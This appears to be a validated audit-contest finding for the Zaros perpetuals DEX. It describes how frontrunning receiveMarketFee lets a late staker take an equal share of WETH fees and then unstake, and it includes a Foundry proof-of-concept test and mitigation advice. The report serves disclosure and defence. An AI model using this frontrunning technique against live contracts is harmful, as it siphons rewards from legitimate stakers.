Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: medium
Valid

Frontrunning `receiveMarketFee` Allows Attackers to Claim Fees and Unstake Shares

Summary

An attacker can frontrun the receiveMarketFee call to stake just before fees are distributed, allowing them to claim an equal share of rewards as legitimate stakers without actually contributing to the pool for a meaningful duration.

Vulnerability Details

Let say a valid user deposits and stakes assets in the vault. the user stake share gets updated.

/src/market-making/branches/VaultRouterBranch.sol:414
414: UD60x18 updatedActorShares = ud60x18(actor.shares).add(ud60x18(shares));
415:
416: // update actor staked shares
417: wethRewardDistribution.setActorShares(actorId, updatedActorShares);

The receiveMarketFee call Receives collateral as a fee for processing and this fee later will be converted to WETH and sent to beneficiaries. i.e. feeRecipients and the stakers.

/src/market-making/branches/FeeDistributionBranch.sol:392
392: // adds the weth received for protocol and vaults rewards using the assets previously paid by the engine
393: // as fees, and remove its balance from the market's `receivedMarketFees` map
394: market.receiveWethReward(assetOut, receivedProtocolWethRewardX18, receivedVaultsWethRewardX18);
395:
396: // recalculate markes' vaults credit delegations after receiving fees to push reward distribution
397: Vault.recalculateVaultsCreditCapacity(market.getConnectedVaultsIds());

In the recalculateVaultsCreditCapacity function, distributeValue is called.

/src/market-making/leaves/Vault.sol:448
448: if (!vaultTotalWethRewardChangeX18.isZero() && self.wethRewardDistribution.totalShares != 0) {
449: SD59x18 vaultTotalWethRewardChangeSD59X18 =
450: sd59x18(int256(vaultTotalWethRewardChangeX18.intoUint256()));
451: self.wethRewardDistribution.distributeValue(vaultTotalWethRewardChangeSD59X18);
452: }

In the distributeValue function the valuePerShare value get updated.

/src/market-making/leaves/Distribution.sol:28
28: function distributeValue(Data storage self, SD59x18 value) internal {
29: if (value.eq(SD59x18_ZERO)) {
30: return;
31: }
32:
33: UD60x18 totalShares = ud60x18(self.totalShares);
34:
35: if (totalShares.eq(UD60x18_ZERO)) {
36: revert Errors.EmptyDistribution();
37: }
38:
39: SD59x18 deltaValuePerShare = value.div(totalShares.intoSD59x18()); // 100e18/80e18 => 20 token stake => 100e18 => 1e18
40:
41: self.valuePerShare = sd59x18(self.valuePerShare).add(deltaValuePerShare).intoInt256(); // 1e18
42: }

The attacker saw that the receiveMarketFee is being executed. Attacker stakes just before receiveMarketFee is executed.

Since fees are distributed based on current stake share, the attacker gets an equal share despite minimal participation. Fees are distributed to both the legitimate user and the attacker.

The attacker immediately claims their share by calling claimFees. The claimFees calls getActorValueChange which internally calls _getActorValueChange

/src/market-making/leaves/Distribution.sol:106
106: function _getActorValueChange(
107: Data storage self,
108: Actor storage actor
109: )
110: private
111: view
112: returns (SD59x18 valueChange)
113: {
114: //@audit check for edge cases where user can still claim fees after complete withdrawal.
115: SD59x18 deltaValuePerShare = sd59x18(self.valuePerShare).sub(sd59x18(actor.lastValuePerShare));
116: valueChange = deltaValuePerShare.mul(ud60x18(actor.shares).intoSD59x18());
117: }

The attacker unstakes and exits, having earned rewards unfairly.
Consider below proof of code:

POC

/test/integration/market-making/fee-distribution-branch/claimFees/claimFees.t.sol:477
478: function test_stake_frontrun_reward_poc() external { // @audit POC
479: // ensure valid vault and load vault config
480: uint128 vaultId = WETH_CORE_VAULT_ID;
481: VaultConfig memory fuzzVaultConfig = getFuzzVaultConfig(vaultId);
482:
483: // ensure valid deposit amount and perform the deposit
484: address user = users.naruto.account;
485: address attacker = users.sasuke.account;
486:
487: uint128 assetsToDeposit = uint128(calculateMinOfSharesToStake(vaultId));
488: fundUserAndDepositInVault(user, vaultId, assetsToDeposit);
489:
490: // save and verify pre state
491: ClaimFeesState memory pre1 =
492: _getClaimFeesState(user, vaultId, IERC20(fuzzVaultConfig.asset), IERC20(fuzzVaultConfig.indexToken));
493:
494: // perform the stake
495: vm.startPrank(user);
496: marketMakingEngine.stake(vaultId, pre1.stakerVaultBal);
497:
498: vm.warp(block.timestamp + 1 days); // user stake for 1 day
499:
500: uint128 attackerAssetsToDeposit = uint128(calculateMinOfSharesToStake(vaultId));
501: fundUserAndDepositInVault(attacker, vaultId, attackerAssetsToDeposit);
502:
503: ClaimFeesState memory pre2 =
504: _getClaimFeesState(attacker, vaultId, IERC20(fuzzVaultConfig.asset), IERC20(fuzzVaultConfig.indexToken));
505:
506: // perform the stake by attacker
507: vm.startPrank(attacker);
508: marketMakingEngine.stake(vaultId, pre2.stakerVaultBal);
509:
510:
511: assertEq(pre2.stakerShares, pre1.stakerShares);
512:
513:
514: // sent WETH market fees from PerpsEngine -> MarketEngine
515: uint256 marketFees = 1_000_000_000_000_000_000;
516: deal(fuzzVaultConfig.asset, address(perpMarketsCreditConfig[ETH_USD_MARKET_ID].engine), marketFees);
517: changePrank({ msgSender: address(perpMarketsCreditConfig[ETH_USD_MARKET_ID].engine) });
518: vm.expectEmit({ emitter: address(marketMakingEngine) });
519: emit FeeDistributionBranch.LogReceiveMarketFee(fuzzVaultConfig.asset, ETH_USD_MARKET_ID, marketFees);
520: marketMakingEngine.receiveMarketFee(ETH_USD_MARKET_ID, fuzzVaultConfig.asset, marketFees);
521: assertEq(IERC20(fuzzVaultConfig.asset).balanceOf(address(marketMakingEngine)), marketFees);
522:
523: uint256 attacker_stakerEarnedFees = marketMakingEngine.getEarnedFees(vaultId, attacker);
524: uint256 stakerEarnedFees = marketMakingEngine.getEarnedFees(vaultId, user);
525: assertEq(attacker_stakerEarnedFees,stakerEarnedFees);
526:
527:
528: // staker claims rewards
529: uint256 attackerStakerWethBalBefore = IERC20(fuzzVaultConfig.asset).balanceOf(attacker);
530: changePrank({ msgSender: attacker });
531: marketMakingEngine.claimFees(vaultId);
532:
533:
534: // staker claims rewards
535: uint256 stakerWethBalBefore = IERC20(fuzzVaultConfig.asset).balanceOf(user);
536: changePrank({ msgSender: user });
537: marketMakingEngine.claimFees(vaultId);
538:
539:
540: // verify staker received correct rewards
541: uint256 attacker_stakerReceivedRewards = IERC20(fuzzVaultConfig.asset).balanceOf(attacker) - attackerStakerWethBalBefore;
542:
543: // verify staker received correct rewards
544: uint256 stakerReceivedRewards = IERC20(fuzzVaultConfig.asset).balanceOf(user) - stakerWethBalBefore;
545: assertEq(attacker_stakerReceivedRewards,stakerReceivedRewards);
546: // unstake shares
547: changePrank({ msgSender: attacker});
548: marketMakingEngine.unstake(fuzzVaultConfig.vaultId, pre2.stakerVaultBal);
549: changePrank({ msgSender: user});
550: marketMakingEngine.unstake(fuzzVaultConfig.vaultId, pre1.stakerVaultBal);
551:
552: }

Impact

Unfair fee distribution: Attackers earn rewards without real staking contribution.

Potential fund depletion: Repeated exploitation can drain legitimate stakers’ rewards.

Tools Used

Manual Review, Unit Testing

Recommendations

Implement a minimum staking period before rewards can be claimed.
Track stake timestamps and distribute fees based on stake duration.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Staking design is not fair for users who staked earlier and longer, frontrun fee distribution with big stake then unstake

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.